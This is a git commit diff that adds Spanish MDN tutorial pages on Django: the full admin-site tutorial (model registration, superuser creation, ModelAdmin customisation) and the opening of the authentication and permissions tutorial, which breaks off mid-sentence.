diff options
author | Peter Bengtsson <mail@peterbe.com> | 2020-12-08 14:41:45 -0500 |
---|---|---|
committer | Peter Bengtsson <mail@peterbe.com> | 2020-12-08 14:41:45 -0500 |
commit | 1109132f09d75da9a28b649c7677bb6ce07c40c0 (patch) | |
tree | 0dd8b084480983cf9f9680e8aedb92782a921b13 /files/es/learn/server-side | |
parent | 4b1a9203c547c019fc5398082ae19a3f3d4c3efe (diff) | |
download | translated-content-1109132f09d75da9a28b649c7677bb6ce07c40c0.tar.gz translated-content-1109132f09d75da9a28b649c7677bb6ce07c40c0.tar.bz2 translated-content-1109132f09d75da9a28b649c7677bb6ce07c40c0.zip |
initial commit
Diffstat (limited to 'files/es/learn/server-side')
29 files changed, 10371 insertions, 0 deletions
diff --git a/files/es/learn/server-side/django/admin_site/index.html b/files/es/learn/server-side/django/admin_site/index.html new file mode 100644 index 0000000000..486d277003 --- /dev/null +++ b/files/es/learn/server-side/django/admin_site/index.html @@ -0,0 +1,372 @@ +--- +title: 'Tutorial Django Parte 4: Sitio de Administración de Django' +slug: Learn/Server-side/Django/Admin_site +tags: + - Aplicación web + - Artículo + - Codificación + - Django Admin + - Principiante + - Python + - Tutorial + - django + - django_admin + - programacion +translation_of: Learn/Server-side/Django/Admin_site +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/Server-side/Django/Models", "Learn/Server-side/Django/Home_page", "Learn/Server-side/Django")}}</div> + +<p class="summary">Ahora que hemos creado modelos para el sitio web de la <a href="https://developer.mozilla.org/es/docs/Learn/Server-side/Django/Tutorial_local_library_website">BibliotecaLocal</a>, usaremos el sitio de administración de Django para añadir algunos datos de libros "reales". Primero mostraremos cómo registrar los modelos en el sitio de administración y luego te mostraremos cómo iniciar sesión y crear algunos datos. Al final del artículo mostraremos algunas formas en las que puedes mejorar más adelante la presentación del sitio de Administración.</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">Pre-requisitos:</th> + <td>Primero completa: <a href="https://developer.mozilla.org/es/docs/Learn/Server-side/Django/Models">Tutorial Django Parte 3: Uso de modelos</a>.</td> + </tr> + <tr> + <th scope="row">Objetivo:</th> + <td> + <p>Entender los beneficios y las limitaciones del sitio de administración de Django, y usarlo para crear algunos registros para nuestros modelos.</p> + </td> + </tr> + </tbody> +</table> + +<h2 id="Introducción">Introducción</h2> + +<p>La <em>aplicación</em> de administración de Django puede usar tus modelos para construir automáticamente un área dentro del sitio que puedes usar para crear, consultar, actualizar y borrar registros. Esto puede ahorrarte mucho tiempo de desarrollo, haciendo muy fácil probar tus modelos y darte una idea de si tus datos son correctos. La aplicación de administración también puede ser útil para manejar datos en producción, dependiendo del estilo del sitio web. Desde el proyecto Django solo se recomienda para gestión de datos internos (por ejemplo, solo para uso de administradores o personas internas de tu organización), ya que como enfoque centrado en el modelo no es necesariamente la mejor interfaz posible para todos los usuarios, exponiendo una gran cantidad de detalles innecesarios de los modelos.</p> + +<p>Toda la configuración requerida para incluir la aplicación admin en tu sitio Web fue hecha automaticamente cuando <a href="/en-US/docs/Learn/Server-side/Django/skeleton_website">creaste el esqueleto del proyecto</a> (para información sobre dependencias reales necesarias, vea los <a href="https://docs.djangoproject.com/en/1.10/ref/contrib/admin/">documentos de Django aquí</a>). Como resultado, todo lo que <strong>debes</strong> hacer para agregar tus modelos a la aplicación admin es <em>registrarlos.</em> Al final de este artículo entregaremos una breve demostración sobre como puedes configurar aún más el área de administración para mejorar la visualización de nuestros modelos de datos.</p> + +<p>Después de registrar los modelos te mostraremos como crear un nuevo "administrador", iniciar sesión en el sitio, y crear algunos libros, autores, instancias de libros, y géneros. Esto será útil para probar las vistas y plantillas que empezaremos a crear en el siguiente tutorial.</p> + +<h2 id="Registrando_los_modelos">Registrando los modelos </h2> + +<p>Primero, abre <strong>admin.py</strong> en la aplicación catálogo (<strong>/locallibrary/catalog/admin.py</strong>). Actualmente se ve como esto — notar que ya importa <code>django.contrib.admin</code>:</p> + +<pre class="brush: python">from django.contrib import admin + +# Register your models here. +</pre> + +<p>Registra los modelos copiando el texto siguiente al final del archivo. Este simple código esta importando los modelos y después llama a <code>admin.site.register</code> para registrar a cada uno de ellos.</p> + +<pre class="brush: python">from .models import Author, Genre, Book, BookInstance + +admin.site.register(Book) +admin.site.register(Author) +admin.site.register(Genre) +admin.site.register(BookInstance) +</pre> + +<div class="note"><strong>Nota</strong>: Si tu aceptaste el desafío de crear un modelo que represente el Lenguaje natural de un libro (<a href="/en-US/docs/Learn/Server-side/Django/Models">ver el artículo tutorial de modelos</a>), importalo y registralo también!</div> + +<p>Esta es la forma más simple de registrar un modelo, o modelos, con el sitio. El sitio de administración es altamente personalizable, y hablaremos más sobre otras formas de registrar tus modelos más abajo.</p> + +<h2 id="Creando_un_administrador">Creando un administrador</h2> + +<p>Para iniciar sesión en el sitio de administración, necesitamos una cuenta de usuario con estado de <em>Personal</em> habilitado. Para ver y crear registros tambien necesitamos que este usuario tenga permisos para administrar todos nuestros objetos. Puedes crear una cuenta "administrador" que tenga acceso total al sitio y a todos los permisios necesarios usando <strong>manage.py</strong>.</p> + +<p>Usa el siguiente comando, en el mismo directorio de <strong>manage.py</strong>, para crear al administrador. Deberás ingresar un nombre de usuario, dirección email, y una contraseña <em>fuerte</em>.</p> + +<pre class="brush: bash">python3 manage.py createsuperuser +</pre> + +<p>Una vez el comando termine un nuevo administrador será agregado a la base de datos. Ahora reinicia el servidor de desarrollo para que podamos probrar el inicio de sesión:</p> + +<pre class="brush: bash">python3 manage.py runserver + +</pre> + +<h2 id="Iniciar_sesión_y_usar_el_sitio">Iniciar sesión y usar el sitio</h2> + +<p>Para iniciar sesión en el sitio, ve a la URL <em>/admin</em> (e.j. <a href="http://127.0.0.1:8000/admin/">http://127.0.0.1:8000/admin</a>) e ingresa tus credenciales de id usuario y contraseña de administrador (serás redirigido a la página <em>login</em>, y entonces volverás a la URL de <em>/admin</em> después de haber ingresado tus datos).</p> + +<p>Esta parte del sitio muestra todos tus modelos, agrupados por aplicación instalada. Puedes hacer click en un nombre de modelo para ir a una pantalla que lista todos los registros asociados, y además puedes hacer click sobre esos registros para editarlos. También puedes hacer click directamente sobre el vínculo <strong>Añadir</strong> a continuación de cada modelo para comenzar a crear un registro de ese tipo.</p> + +<p><img alt="Admin Site - Home page" src="https://mdn.mozillademos.org/files/13975/admin_home.png" style="display: block; height: 634px; margin: 0px auto; width: 998px;"></p> + +<p>Haz click sobre el vínculo <strong>Añadir</strong> a la derecha de <em>Books</em> para crear un nuevo libro, esto mostrará un diálogo parecido al de abajo). Nota como los títulos de cada campo, el tipo de widget usado, y el <code>help_text</code> (si existe) corresponde con el valor que especificaste en el modelo. </p> + +<p>Ingresa valores para los campos. Puede crear nuevos autores o géneros presionandoel botón <strong>+</strong> a continuación del campo respectivo ( o seleccionar un valor existente de las listas si ya las tenías creadas). Cuando termines puedes presionar <strong>Grabar</strong>, <strong>Grabar y añadir otro</strong>, o <strong>Grabar y continuar editando</strong> para guardar el registro.</p> + +<p><img alt="Admin Site - Book Add" src="https://mdn.mozillademos.org/files/13979/admin_book_add.png" style="border-style: solid; border-width: 1px; display: block; height: 780px; margin: 0px auto; width: 841px;"></p> + +<div class="note"> +<p><strong>Nota</strong>: En este punto nos gustaría que pasaras algún tiempo añadiendo unos pocos libros, autores, y géneros (ej. Fantasía) a tu aplicación. Asegúrate de que cada autor y género incluye un par de libros diferentes (esto hará tus vistas de lista y detalle más interesantes cuando las implementemos más tarde en la serie de artículos).</p> +</div> + +<p>Cuando hayas terminado de añadir libros, haz click en el enlace <strong>Home </strong>en el separador de arriba para regresar a la página principal de administración. Luego haz click en el enlace <strong>Books </strong>para desplegar la lista actual de libros (o en alguno de los otros enlaces para ver las listas de otros modelos). Ahora que haz añadido unos cuantos libros, la lista debería lucir similar a la captura de pantalla de abajo. Se muestra el título de cada libro; que es el valor devuelto por el método <code>__str__()</code> del modelo Book que especificamos en el artículo anterior.</p> + +<p><img alt="Admin Site - List of book objects" src="https://mdn.mozillademos.org/files/13935/admin_book_list.png" style="border-style: solid; border-width: 1px; display: block; height: 407px; margin: 0px auto; width: 1000px;"></p> + +<p>Desde esta lista puedes eliminar libros marcando la casilla de verificación junto al libro que no deseas y seleccionando la acción <em>delete... </em>en la lista de selección <em>Action</em>, y luego presionando el botón <strong>Go</strong>. Puedes también añadir nuevos libros presionando el botón <strong>ADD BOOK</strong>.</p> + +<p>Puedes editar un libro haciendo click en su nombre en la lista. La página de edición para un libro, como se muestra abajo, es casi idéntica a la página "Add". Las principales diferencias son el título de la página (<em>Change book</em>) y la adición de los botones <strong>Delete</strong>, <strong>HISTORY </strong>y <strong>VIEW ON SITE </strong>(este último aparece porque definimos el método <code>get_absolute_url()</code> en nuestro modelo).</p> + +<p><img alt="Admin Site - Book Edit" src="https://mdn.mozillademos.org/files/13977/admin_book_modify.png" style="border-style: solid; border-width: 1px; display: block; height: 780px; margin: 0px auto; width: 841px;"></p> + +<p>Ahora regresa a la página <strong>Home </strong>(usando el enlace <em>Home </em>de la barra superior) y observa las listas <strong>Author </strong>y <strong>Genre </strong>-- ya deberías tener algunos registros creados de cuando añadiste los nuevos libros, pero puedes crear algunos más.</p> + +<p>Lo que no vas a tener es <em>BookInstances</em>, porque estas no se crean de los libros (si bien puedes crear un <code>Book</code> desde una <code>BookInstance</code> -- esta es la naturaleza de los campos <code>ForeignKey</code>). Regresa a la página <em>Home </em>y presiona el botón <strong>Add </strong>relacionado para desplegar la pantalla <em>Add book instance</em>, como se muestra abajo. Nota el largo y globalmente único Id, que puede ser usado para identificar inequívocamente una única copia de un libro dentro de la biblioteca.</p> + +<p><img alt="Admin Site - BookInstance Add" src="https://mdn.mozillademos.org/files/13981/admin_bookinstance_add.png" style="border-style: solid; border-width: 1px; display: block; height: 514px; margin: 0px auto; width: 863px;"></p> + +<p>Crea algunos de estos registros para cada uno de tus libros. Establece el status en <em>Available </em>para al menos algunos registros y en <em>On loan</em> para otros. Si el status es <strong>diferente </strong>de <em>Available</em>, especifica también una fecha de <em>Due back</em> (devolución).</p> + +<p>¡Eso es todo! Has aprendido a configurar y usar el sitio de administración. También has creado registros para <code>Book</code>, <code>BookInstance</code>, <code>Genre</code> y <code>Author</code> que podremos usar una vez que creemos nuestras propias views (vistas) y templates (plantillas).</p> + +<h2 id="Configuración_avanzada">Configuración avanzada</h2> + +<p>Django hace un gran trabajo al crear un sitio de administración básico usando la información de los modelos registrados:</p> + +<ul> + <li>Cada modelo tiene una lista de registros individuales, identificados por la cadena creada por el método <code>__str__()</code> del modelo, y enlazados a vistas/formularios de detalle para edición. Por defecto, esta vista de lista tiene un menú de acción en la parte superior que puedes usar para realizar operaciones de eliminación masiva de los registros.</li> + <li>Los formularios de detalle de registro del modelo para edición y adición de registros contienen todos los campos del modelo, organizados verticalmente en su orden de declaración. </li> +</ul> + +<p>Posteriormente puedes personalizar la interfaz para hacerla incluso más fácil de usar. Algunas de las cosas que puedes hacer son:</p> + +<ul> + <li>Vistas de lista: + <ul> + <li>Añadir campos e información adicional desplegada para cada registro. </li> + <li>Añadir filtros para seleccionar qué registros se listan, basados en fechas u otros tipos de valores (ej. estado de préstamo del libro).</li> + <li>Añadir opciones adicionales al menú <em>Action </em>en las vistas de lista y elegir en qué lugar del formulario se despliega este menú.</li> + </ul> + </li> + <li>Vistas de detalle: + <ul> + <li>Elegir qué campos desplegar (o excluir), junto con su orden, agrupamiento, si son editables, el tipo de control a usarse, orientación, etc.</li> + <li>Añadir campos relacionados a un registro para permitir la edición en cadena (ej. proveer la capacidad de añadir y editar registros de libros mientras estás creando su registro de autor).</li> + </ul> + </li> +</ul> + +<p>En esta sección observaremos unos cuantos cambios que mejorarán la interfaz de nuestra <em>LocalLibrary</em>, incluyendo la adición de más información a las listas de los modelos <code>Book</code> y <code>Author</code>, y mejorando el diseño de sus vistas de edición. No cambiaremos la presentación de los modelos <code>Language</code> y <code>Genre</code> debido a que solo tienen un campo cada uno, ¡por lo que no hay ningún beneficio real de hacerlo!</p> + +<p>Puedes encontrar una referencia completa de todas las opciones de personalización del sitio de administración en <a href="https://docs.djangoproject.com/en/1.10/ref/contrib/admin/">The Django Admin site</a> (Django Docs).</p> + +<h3 id="Registrar_una_clase_ModelAdmin">Registrar una clase ModelAdmin</h3> + +<p>Para cambiar la forma en la que un modelo se despliega en la interfaz de administración debes definir una clase <a href="https://docs.djangoproject.com/en/dev/ref/contrib/admin/#modeladmin-objects">ModelAdmin</a> (que describe el diseño) y registrarla con el modelo.</p> + +<p>Comencemos con el modelo Author. Abre <strong>admin.py</strong> en la aplicación catalog (<strong>/locallibrary/catalog/admin.py</strong>). Comenta tu registro original para el modelo <code>Author</code> (colocando el prefijo # en la línea):</p> + +<pre class="brush: js"># admin.site.register(Author)</pre> + +<p>Ahora añade una nueva clase <code>AuthorAdmin</code> y regístrala como se muestra abajo.</p> + +<pre class="brush: python"># Define the admin class +class AuthorAdmin(admin.ModelAdmin): + pass + +# Register the admin class with the associated model +admin.site.register(Author, AuthorAdmin) +</pre> + +<p>Ahora añadiremos clases <code>ModelAdmin </code>para <code>Book</code>, y <code>BookInstance</code>. De nuevo, debemos comentar nuestros registros originales:</p> + +<pre class="brush: python">#admin.site.register(Book) +#admin.site.register(BookInstance)</pre> + +<p>Ahora, para crear y registar los nuevos modelos usaremos, para propósitos de esta demostración, la expresión <code>@register </code>para registrar los modelos (hace exactamente lo mismo que <code>admin.site.register()</code>):</p> + +<pre class="brush: python"># Register the Admin classes for Book using the decorator + +@admin.register(Book) +class BookAdmin(admin.ModelAdmin): + pass + +# Register the Admin classes for BookInstance using the decorator + +@admin.register(BookInstance) +class BookInstanceAdmin(admin.ModelAdmin): + pass +</pre> + +<p>Al momento todas nuestras clases de administración estás vacías (observa "pass"), así que el comportamiento de administración ¡no cambiará! Ahora podemos extenderlas para definir nuestro comportamiento de administración específico para cada modelo.</p> + +<h3 id="Configurar_las_vistas_de_lista">Configurar las vistas de lista</h3> + +<p>La <em>LocalLibrary</em> actualmente lista todos los autores usando el nombre generado por el método <code>__str__()</code> del modelo. Esto funciona bien cuando solo tienes unos pocos autores, pero una vez que tienes muchos puedes terminar teniendo duplicados. Para diferenciarlos, o simplemente para mostrar información más interesante sobre cada autor, puedes usar <a href="https://docs.djangoproject.com/en/dev/ref/contrib/admin/#django.contrib.admin.ModelAdmin.list_display">list_display</a> para añadir otros campos a la vista.</p> + +<p>Reemplaza tu clase <code>AuthorAdmin </code>con el código de abajo. Los nombres de campos a ser desplegados en la lista están declarados en una tupla en el orden requerido, como se muestra (estos son los mismos nombres especificados en tu modelo original).</p> + +<pre class="brush: python">class AuthorAdmin(admin.ModelAdmin): + list_display = ('last_name', 'first_name', 'date_of_birth', 'date_of_death') +</pre> + +<p>Recarga el sitio y navega hacia la lista de autores. Ahora deberían desplegarse los campos de arriba, así:</p> + +<p><img alt="Admin Site - Improved Author List" src="https://mdn.mozillademos.org/files/14023/admin_improved_author_list.png" style="border-style: solid; border-width: 1px; display: block; height: 302px; margin: 0px auto; width: 941px;"></p> + +<p>Para nuestro modelo <code>Book</code> desplegaremos adicionalmente el <code>author</code> y <code>genre</code>. El <code>author</code> es un campo de relación tipo <code>ForeignKey</code> (uno a uno), y por tanto estará representado por el valor <code>__str__()</code> del registro asociado. Reemplaza la clase BookAdmin con la versión de abajo.</p> + +<pre>class BookAdmin(admin.ModelAdmin): + list_display = ('title', 'author', 'display_genre')</pre> + +<p>Desafortunadamente, no podemos especificar directamente el campo <code>genre</code> en <code>list_display</code> porque es un campo <code>ManyToManyField</code> (Django previene esto porque habría un alto "costo" de acceso a base de datos si lo hiciera). En lugar de eso, definiremos una función <code>display_genre</code> para obtener la información como una cadena (esta es la función que hemos llamado arriba; la definiremos más abajo).</p> + +<div class="note"> +<p><strong>Nota</strong>: Obtener el <code>genre </code>podría no ser una buena idea aquí, debido al "costo" de la operación en la base de datos. Te mostramos cómo hacerlo porque llamar funciones desde tus modelos puede ser muy útil por otras razones -- por ejemplo para añadir un enlace <em><strong>Delete</strong></em> junto a cada ítem en la lista.</p> +</div> + +<p>Añade el siguiente código en tu modelo <code>Book</code> (<strong>models.py</strong>). Esto crea una cadena con los tres primeros valores del campo <code>genre</code> (si existen) y crea una <code>short_description</code> (descripción corta) que puede ser usada en el sitio de administración por este método.</p> + +<pre class="brush: python"> def display_genre(self): + """ + Creates a string for the Genre. This is required to display genre in Admin. + """ + return ', '.join([ genre.name for genre in self.genre.all()[:3] ]) + display_genre.short_description = 'Genre' +</pre> + +<p>Después de guardar el modelo y actualizar admin, recarga el sitio y ve a la página de lista de <em>Books</em> (libros), deberías ver una lista de libros como la de abajo:</p> + +<p><img alt="Admin Site - Improved Book List" src="https://mdn.mozillademos.org/files/14025/admin_improved_book_list.png" style="border-style: solid; border-width: 1px; display: block; height: 337px; margin: 0px auto; width: 947px;"></p> + +<p>El modelo <code>Genre</code> (y el modelo <code>Language</code>, si lo definiste) tiene un solo campo, por lo que no tiene sentido crear un modelo adicional para el mismo para desplegar campos adicionales.</p> + +<div class="note"> +<p><strong>Nota</strong>: Vale la pena actualizar el modelo <code>BookInstance</code> para mostrar al menos el estado y fecha de devolución esperada. ¡Lo hemos añadido como un reto al final de este artículo!</p> +</div> + +<h3 id="Añadir_filtros_de_lista">Añadir filtros de lista</h3> + +<p>Una vez que tienes muchos ítems en una lista, puede ser útil filtrar los ítems que se despliegan. Esto se hace listando campos en el atributo <code>list_filter</code>. Reemplaza tu clase <code>BookInstanceAdmin</code> actual con el fragmento de código de abajo.</p> + +<pre class="brush: python">class BookInstanceAdmin(admin.ModelAdmin): +<strong> list_filter = ('status', 'due_back')</strong> +</pre> + +<p>La vista de lista incluirá ahora un cuadro de filtrado a la derecha. Nota como puedes elegir fechas y estados para filtrar los valores:</p> + +<p><img alt="Admin Site - BookInstance List Filters" src="https://mdn.mozillademos.org/files/14037/admin_improved_bookinstance_list_filters.png" style="height: 528px; width: 960px;"></p> + +<h3 id="Organizar_el_diseño_de_vista_detallada">Organizar el diseño de vista detallada</h3> + +<p>Por defecto, las vistas detalladas organizan todos los campos verticalmente, en su órden de declaración en el modelo. Puedes cambiar el orden de declaración, qué campos se despliegan (o excluyen), si se usa secciones para organizar la información, si los campos se despliegan en horizontal o vertical, e incluso qué controles de edición se usan en los formularios de administración.</p> + +<div class="note"> +<p><strong>Nota</strong>: Los modelos de la <em><strong>LocalLibrary </strong></em>son relativamente simples, por lo que no tenemos una gran necesidad de cambiar el diseño; sin embargo haremos algunos cambios solo para mostrarte cómo.</p> +</div> + +<h4 id="Controlando_qué_campos_son_desplegados_y_ordenados">Controlando qué campos son desplegados y ordenados</h4> + +<p>Actualiza tu clase <code>AuthorAdmin </code>para añadir la línea <code>fields</code>, como se muestra abajo (en negrita):</p> + +<pre class="brush: python">class AuthorAdmin(admin.ModelAdmin): + list_display = ('last_name', 'first_name', 'date_of_birth', 'date_of_death') +<strong> fields = ['first_name', 'last_name', ('date_of_birth', 'date_of_death')]</strong> +</pre> + +<p>El atributo <code>fields</code> lista solo los campos que se van a desplegar en el formulario, en orden. Los campos se despliegan en vertical por defecto, pero se desplegarán en horizontal si los agrupas en una tupla (como se muestra en los campos "date" arriba).</p> + +<p>Reinicia tu aplicación y ve a la vista de detalle de autor -- ahora debería aparecer como se muestra abajo:</p> + +<p><img alt="Admin Site - Improved Author Detail" src="https://mdn.mozillademos.org/files/14027/admin_improved_author_detail.png" style="border-style: solid; border-width: 1px; display: block; height: 282px; margin: 0px auto; width: 928px;"></p> + +<div class="note"> +<p><strong>Nota</strong>: Puedes también usar el atributo <code>exclude</code> para declarar una lista de atributos que se excluirán del formulario (todos los demás atributos en el modelo se desplegarán).</p> +</div> + +<h4 id="Seccionando_la_vista_de_detalle">Seccionando la vista de detalle</h4> + +<p>Puedes añadir "secciones" para agrupar información relacionada del modelo dentro del formulario de detalle, usando el atributo <a href="https://docs.djangoproject.com/en/dev/ref/contrib/admin/#django.contrib.admin.ModelAdmin.fieldsets">fieldsets.</a></p> + +<p>En el modelo BookInstance tenemos información relacionada a cuál es el libro (ej. <code>name</code>, <code>imprint</code> e <code>id</code>) y a cuándo estará disponible (<code>status</code>, <code>due_back</code>). Podemos configurarlas en diferentes secciones añadiendo el texto en negrita a nuestra clase <code>BookInstanceAdmin</code>.</p> + +<pre class="brush: python">@admin.register(BookInstance) +class BookInstanceAdmin(admin.ModelAdmin): + list_filter = ('status', 'due_back') + +<strong> fieldsets = ( + (None, { + 'fields': ('book', 'imprint', 'id') + }), + ('Availability', { + 'fields': ('status', 'due_back') + }), + )</strong></pre> + +<p>Cada sección tiene su propio título (o <code>None</code>, si no quieres un título) y una tupla de campos asociada en un diccionario -- el formato es complicado de describir pero bastante fácil de entender si observas el fragmento de código que se encuentra justo arriba.</p> + +<p>Reinicia y navega a una vista de instancia de libro (book instance); el formulario debería aparecer como se muestra abajo:</p> + +<p><img alt="Admin Site - Improved BookInstance Detail with sections" src="https://mdn.mozillademos.org/files/14029/admin_improved_bookinstance_detail_sections.png" style="border-style: solid; border-width: 1px; display: block; height: 580px; margin: 0px auto; width: 947px;"></p> + +<h3 id="Edición_en_cadena_de_registros_asociados">Edición en cadena de registros asociados</h3> + +<p>A veces puede tener sentido el añadir registros asociados al mismo tiempo. Por ejemplo, puede tener sentido el tener información tanto de un libro como de las copias específicas que has adquirido del mismo, en la misma página de detalle.</p> + +<p>Puedes hacerlo declarando <a href="https://docs.djangoproject.com/en/dev/ref/contrib/admin/#django.contrib.admin.ModelAdmin.inlines">inlines</a>, de tipo <a href="https://docs.djangoproject.com/en/dev/ref/contrib/admin/#django.contrib.admin.TabularInline">TabularInline</a> (diseño horizontal) o <a href="https://docs.djangoproject.com/en/dev/ref/contrib/admin/#django.contrib.admin.StackedInline">StackedInline</a> (diseño vertical, tal como el diseño de modelo por defecto). Puedes añadir la información de <code>BookInstance</code> dentro de nuestro detalle de <code>Book</code> añadiendo las líneas de abajo en negrita cerca de tu <code>BookAdmin</code>:</p> + +<pre class="brush: python"><strong>class BooksInstanceInline(admin.TabularInline): + model = BookInstance</strong> + +@admin.register(Book) +class BookAdmin(admin.ModelAdmin): + list_display = ('title', 'author', 'display_genre') +<strong> inlines = [BooksInstanceInline]</strong> +</pre> + +<p>Prueba recargando tu aplicación y observando la vista para un libro -- ahora deberías ver al final las instancias relacionadas a este libro (inmediatamente debajo de los campos de género del libro):</p> + +<p><img alt="Admin Site - Book with Inlines" src="https://mdn.mozillademos.org/files/14033/admin_improved_book_detail_inlines.png" style="border-style: solid; border-width: 1px; display: block; height: 889px; margin: 0px auto; width: 937px;"></p> + +<p>En este caso, todo lo que hemos hecho es declarar nuestra clase encadenada tabular, que simplemente añade todos los campos del modelo <em>encadenado</em>. Puedes especificar toda clase de información adicional para el diseño incluyendo los campos a mostrar, su órden, si son solo de lectura o no, etc. (ve <a href="https://docs.djangoproject.com/en/dev/ref/contrib/admin/#django.contrib.admin.TabularInline">TabularInline</a> para más información).</p> + +<div class="note"> +<p><strong>Nota</strong>: ¡hay algunas lamentables limitaciones a esta funcionalidad! En la captura de pantalla de arriba tenemos tres instancias del libro existentes, seguidas de tres lugares para nuevas instancias del libro (¡que se ven muy similares!). Sería mejor NO tener instancias extras por defecto del libro y simplemente añadirlas mediante el enlace <strong>Add another Book instance</strong>, o poder simplemente listar las <code>BookInstances</code> como enlaces no legibles desde aquí. La primera opción puede hacerse estableciendo el atributo <code>extra</code> a 0 en el modelo <code>BookInstanceInline</code>, inténtalo tú mismo.</p> +</div> + +<h2 id="Rétate_a_tí_mismo">Rétate a tí mismo</h2> + +<p>Hemos aprendido mucho en esta sección, así que es hora de que intentes algunas cosas.</p> + +<ol> + <li>Para la vista de lista de <code>BookInstance</code>, añade código para desplegar el libro, estado, fecha de devolución e id (en lugar del texto por defecto de <code>__str__()</code>).</li> + <li>Añade una lista encadenada de ítems <code>Book</code> (libros) a la vista detallada de <code>Author</code> usando el mismo método que usamos para <code>Book</code>/<code>BookInstance</code>.</li> +</ol> + +<ul> +</ul> + +<h2 id="Resumen">Resumen</h2> + +<p>¡Eso es todo! Ahora has aprendido cómo configurar el sito de administración tanto en su forma más simple como la mejorada, cómo crear un super usuario, y cómo navegar en el sitio de administración y ver, borrar y actualizar registros. Durante el proceso has creado un grupo de libros, instancias de libros, géneros y autores que seremos capaces de listar y desplegar una vez que creemos nuestras propias vistas y plantillas.</p> + +<h2 id="Siguientes_lecturas">Siguientes lecturas</h2> + +<ul> + <li><a href="https://docs.djangoproject.com/en/1.10/intro/tutorial02/#introducing-the-django-admin">Escribiendo tu primera aplicación Django, parte 2: Introducción a Django Admin</a> (Django docs)</li> + <li><a href="https://docs.djangoproject.com/en/1.10/ref/contrib/admin/">El sitio de administración de Django </a>(Django Docs)</li> +</ul> + +<p>{{PreviousMenuNext("Learn/Server-side/Django/Models", "Learn/Server-side/Django/Home_page", "Learn/Server-side/Django")}}</p> + +<p> </p> + +<h2 id="En_este_módulo">En este módulo</h2> + +<ul> + <li><a href="/es/docs/Learn/Server-side/Django/Introducción">Introducción a Django</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/development_environment">Configurando un entorno de desarrollo Django</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Tutorial_local_library_website">Tutorial de Django: El sito web de la Biblioteca Local</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/skeleton_website">Tutorial de Django Parte 2: Creando el esqueleto de un sitio web</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Models">Tutorial de Django Parte 3: Usando modelos</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Admin_site">Tutorial de Django Parte 4: Sitio de administración de Django</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Home_page">Tutorial de Django Parte 5: Creando nuestra página de inicio</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Generic_views">Tutorial de Django Parte 6: Listas genéricas y vistas de detalle</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Sessions">Tutorial de Django Parte 7: Framework de sesiones</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Authentication">Tutorial de Django Parte 8: Autenticación de usuarios y permisos</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Forms">Tutorial de Django Parte 9: Trabajando con formularios</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Testing">Tutorial de Django Parte 10: Probando una aplicación web de Django</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/Deployment">Tutorial de Django Parte 11: Poniendo Django en producción</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/web_application_security">Seguridad en aplicaciones web Django</a></li> + <li><a href="/es/docs/Learn/Server-side/Django/django_assessment_blog">DIY Django mini blog</a></li> +</ul> diff --git a/files/es/learn/server-side/django/authentication/index.html b/files/es/learn/server-side/django/authentication/index.html new file mode 100644 index 0000000000..af07915ad9 --- /dev/null +++ b/files/es/learn/server-side/django/authentication/index.html @@ -0,0 +1,714 @@ +--- +title: 'Tutorial de Django Parte 8: Autenticación y permisos de Usuario' +slug: Learn/Server-side/Django/Authentication +tags: + - Aprender + - Artículo + - Autenticacion de Django + - Autenticación + - Principiante + - Python + - Sesiones + - Tutorial + - django autenticación + - permisos +translation_of: Learn/Server-side/Django/Authentication +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/Server-side/Django/Sessions", "Learn/Server-side/Django/Forms", "Learn/Server-side/Django")}}</div> + +<p class="summary">En este tutorial mostraremos cómo permitir a los usuarios iniciar sesión en tu sitio con sus propias cuentas, y cómo controlar lo que pueden hacer basándose en si han iniciado sesión o no y sus <em>permisos</em>. Como parte de esta demostración extenderemos el sitio web de la <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website" style="font-size: 1.25rem;">BibliotecaLocal</a>, añadiendo páginas de inicio y cierre de sesión, y páginas específicas de usuarios y personal de la biblioteca para ver libros que han sido prestados.</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">Prerequisitos:</th> + <td>Completa todos los temas del tutorial anterior, incluyendo: <a href="/en-US/docs/Learn/Server-side/Django/Sessions">Django Tutorial Part 7: Sessions framework</a>.</td> + </tr> + <tr> + <th scope="row">Objetivo:</th> + <td>Comprender como configurar y usar la autenticación de usuario y los permisos.</td> + </tr> + </tbody> +</table> + +<h2 id="Introducción">Introducción</h2> + +<p>Django proporciona un sistema de autenticación y autorización ("permisos"), construido sobre el framework de sesión discutido en el <a href="/en-US/docs/Learn/Server-side/Django/Sessions">tutorial anterior</a>, que le permite verificar credenciales de usuario y definir que acciones puede realizar cada usuario. El framework incluye modelos para <code>Users</code> y <code>Groups</code> (una forma genérica de aplicar permisos a más de un usuario a la vez), permisos/indicadores (permissions/flags) que designan si un usuario puede realizar una tarea, formularios y vistas para iniciar sesión en los usuarios, y view tools para restringir el contenido.</p> + +<div class="note"> +<p><strong>Nota</strong>: Según Django el sistema de autenticación pretende ser muy genérico, y, por lo tanto, no proporciona algunas características proporcinadas en otros sistemas de autenticación web. Las soluciones para algunos problemas están disponibles como paquetes de terceros. Por ejemplo, regulación de intentos de inicio de sesión y autenticación frente a terceros (por ej. OAuth).</p> +</div> + +<p>En este tutorial mostraremos cómo habilitar la autenticación de usuarios en el sitio web <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">BibliotecaLocal</a>, crear tus propias páginas de login y logout, añadir permisos a tus modelos, y controlar el acceso a las páginas. Usaremos la autenticación/permisos para desplegar listas de libros que han sido solicitados tanto por los usuarios como por los bibliotecarios.</p> + +<p>El sistema de autenticación es muy flexible, y puedes crear tus URLs, formularios, vistas y plantillas desde el inicio si 